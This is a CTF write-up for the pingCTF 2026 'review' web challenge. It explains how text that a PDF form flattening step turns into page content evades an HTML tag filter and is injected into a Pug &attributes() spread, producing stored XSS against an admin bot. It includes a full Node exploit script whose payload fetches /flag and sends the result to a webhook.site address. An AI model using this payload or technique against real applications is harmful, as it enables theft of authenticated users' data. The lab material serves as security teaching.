← Back to Writeups
HTBN/AWeb

review

XESXOR8/23/20265 min read
#web#htb#n/a

review

Platform: Pingctf | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-19 | Status: Solved Techniques: admin_bot_exploitation, pdf_form_flattening_bypass, pug_attribute_injection, stored_xss

Summary

Task: Node/Express PDF review app with Pug templates and admin bot. Solution: Exploit discrepancy between upload-time and view-time PDF text extraction after form flattening to inject XSS via Pug &attributes() spread.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: pingCTF | ID: 20260419_pingctf_review
  • Tags: nodejs, xss, pdf, express, puppeteer, pug, pdf_lib, pdfjs
  • Indicators: Pug template with &attributes() spread, PDF form flattening with pdf-lib, HTML tag regex filter bypassed by attribute injection, Admin bot visits user-controlled page
  • Source: 20260419_pingctf_review.md

Foothold

Vulnerability / Misconfiguration

  1. Admin_bot_exploitation
  2. Pdf_form_flattening_bypass
  3. Pug_attribute_injection
  4. Stored_xss
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • admin_bot_exploitation
  • pdf_form_flattening_bypass
  • pug_attribute_injection
  • stored_xss
  • Tags: nodejs, xss, pdf, express, puppeteer, pug, pdf_lib, pdfjs

Original Writeup

<details><summary>Click to expand original content</summary>

review — pingCTF 2026

Description

Every good CTF needs a review!

A Node.js/Express application that allows users to upload PDF review forms. An admin bot can be triggered to view the uploaded PDFs. The goal is to steal the flag from the authenticated admin session.

Analysis

Application Architecture

The application uses several key technologies:

  • Express with Pug templates
  • pdf-lib for PDF manipulation (creating forms, flattening)
  • pdfjs-dist for text extraction
  • Puppeteer for the admin bot
  • multer for file uploads

Key Endpoints

  1. GET /download - Generates a fillable PDF template with hidden pdf_id field
  2. POST /upload - Validates and stores uploaded PDFs
  3. POST /admin - Triggers admin bot to visit /view?formId=<id>
  4. GET /view - Displays extracted PDF text (requires authentication)
  5. GET /flag - Returns the flag (requires authentication)

The Vulnerability Chain

1. PDF Validation at Upload Time

async function validatePDF(id) {
    // ...
    const htmlTagRegex = /<\/?[a-z][\s\S]*>/i;
    for (const field of storedFields) {
        try {
            const uploadedField = form.getTextField(field);
            const text = uploadedField.getText();
            if (htmlTagRegex.test(text)) return false;  // Check field values
        } catch {
            return false;
        }
    }
    // ...
    // Also extracts page text with pdfjs and checks for HTML tags
    const textContent = await docPage.getTextContent();
    // ...
    if(htmlTagRegex.test(content)) return false;
    return true;
}

The validation checks:

  1. Form field values for HTML tags
  2. Page text content (extracted via pdfjs) for HTML tags

Critical observation: At upload time, form fields are NOT flattened, so pdfjs only extracts static page text, not the form field values.

2. PDF Processing at View Time

async function prepareForAI(id) {
    // ...
    const pdfDoc = await PDFDocument.load(originalPdfBytes);
    const form = pdfDoc.getForm();
    form.flatten();  // <-- Form fields become page text!
    const flattenedPdfBytes = await pdfDoc.save();
    
    const doc = await pdfjs.getDocument({ data: flattenedPdfBytes.buffer }).promise;
    let docPage = await doc.getPage(1);
    let textContent = await docPage.getTextContent();
    
    let content = {style:"color:red", text: ""}
    for (item of textContent["items"]) {
        content.text = content.text + " " + item.str;
    }
    return content;
}

After form.flatten(), the form field values are converted to static page text and extracted by pdfjs. This text was never validated!

3. Pug Template Sink

p(id="pdf-text")&attributes(text)=text.text

The &attributes(text) spread operator takes the text object (which has {style:"color:red", text: "..."}) and spreads its properties as HTML attributes. The text property becomes an HTML attribute:

<p id="pdf-text" style="color:red" text="extracted PDF text">extracted PDF text</p>

If the extracted text contains a quote ("), it breaks out of the attribute value and allows injecting arbitrary HTML attributes like onfocus, autofocus, etc.

Filter Bypass

The regex /<\/?[a-z][\s\S]*>/i only blocks HTML tags with angle brackets. Attribute injection without < or > completely bypasses this filter.

Solution

Exploit Strategy

  1. Download the PDF template from /download
  2. Fill form fields with XSS payload split across Text1 and Text2
  3. Upload the malicious PDF
  4. Trigger admin bot to visit the view page
  5. XSS executes, fetches /flag, and exfiltrates to webhook

Payload Construction

The payload must:

  • Not contain < or > (to bypass the HTML tag filter)
  • Break out of the text="..." attribute
  • Inject event handlers that auto-execute
const part1 = '" tabindex=1 autofocus onfocus="fetch(\'/flag\').then(r=>r.text()).then(t=>';
const part2 = `new Image().src='https://webhook.site/xxx/?f='+encodeURIComponent(t))" x="`;

When flattened and extracted, this becomes:

<p id="pdf-text" style="color:red" text=" " tabindex=1 autofocus onfocus="fetch('/flag').then(r=>r.text()).then(t=>new Image().src='https://webhook.site/xxx/?f='+encodeURIComponent(t))" x=" ...">

The autofocus + onfocus combination executes automatically when the page loads.

Exploit Script

const { PDFDocument } = require('pdf-lib');

const BASE = 'http://178.104.35.165:10002';
const WEBHOOK = 'https://webhook.site/5f0505b5-e724-4142-8fcf-3dae5ebd516b';

async function main() {
  const part1 = '" tabindex=1 autofocus onfocus="fetch(\'/flag\').then(r=>r.text()).then(t=>';
  const part2 = `new Image().src='${WEBHOOK}/?f='+encodeURIComponent(t))" x="`;

  // Download template
  const downloadRes = await fetch(`${BASE}/download`);
  const template = new Uint8Array(await downloadRes.arrayBuffer());

  // Fill form fields with payload
  const pdfDoc = await PDFDocument.load(template);
  const form = pdfDoc.getForm();
  form.getTextField('Text1').setText(part1);
  form.getTextField('Text2').setText(part2);
  const pdfBytes = await pdfDoc.save();

  // Upload malicious PDF
  const formData = new FormData();
  formData.append('reviewForm', new Blob([pdfBytes], { type: 'application/pdf' }), 'review.pdf');

  const uploadRes = await fetch(`${BASE}/upload`, {
    method: 'POST',
    body: formData,
  });
  const uploadHtml = await uploadRes.text();
  const idMatch = uploadHtml.match(/name="formId"\s+value="([^"]+)"/);
  const formId = idMatch[1];

  // Trigger admin bot
  await fetch(`${BASE}/admin`, {
    method: 'POST',
    headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
    body: new URLSearchParams({ formId }).toString(),
  });

  console.log({ formId, webhook: WEBHOOK });
}

main();

Execution

node exploit_review.js

The webhook receives the flag:

ping{REDACTED}
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR